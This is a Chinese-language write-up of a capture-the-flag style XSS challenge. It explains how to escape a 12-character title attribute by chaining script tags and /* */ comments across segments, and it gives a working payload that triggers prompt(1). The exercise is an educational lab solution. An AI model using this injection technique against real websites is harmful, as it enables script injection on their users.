题目
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
解题思路
题目代码很好理解:
- 使用
#
切割 input 的字符串,切割后的子串会被顺次放到若干个<p>
标签的title
属性中 - 子串长度若超过 12 则会被截断
- input 内容没有做任何过滤
可以使用这个探针看到前面的分析效果:
11#2222#333333#44444444#5555555555#6666666666666666666666666#"><img src=0
需知道 javascript 代码有个特点:
- 在 HTML 语境中,
<script>
和</script>
标签之间的内容默认视为 js 代码 - js 代码换行后依然会自动拼接并生效(但是函数名/变量名要完整,不能破开到两行)
- js 代码内容之间的注释会被自动忽略
因此对于这种限制长度的注入点,可以搭配 <script>
和多行注释 /* */
进行绕过。
结合 title
属性值长度为 12 的限制进行考虑,可以尝试在本地构造这样的 HTML 代码,成功触发 prompt 事件:
<p class="comment" title=""><script>/*"></p>
<p class="comment" title="*/ prompt/*"></p>
<p class="comment" title="*/(1) /*"></p>
<p class="comment" title="*/</script> "></p>
注意:
<script>
和</script>
标签用于声明 js 代码的范围,这两个标签不能从中间任何位置破开到两行,否则多行注释/* */
就不会起作用了。另外我在测试 payload 的时候,也尝试过<!-- -->
HTML 注释,但是尖括号会造成标签错位导致注入失败,有兴趣的同学可以研究下。
从前面构造的 HTML 代码中提取每一行的 title
属性值,使用 #
拼接,就得到最终 payload 如下(注意此处去掉了前面测试时的全部空格,那些空格只是为了便于对齐观察注入点,没有什么作用,保留或删除均可),完成挑战:
"><script>/*#*/prompt/*#*/(1)/*#*/</script>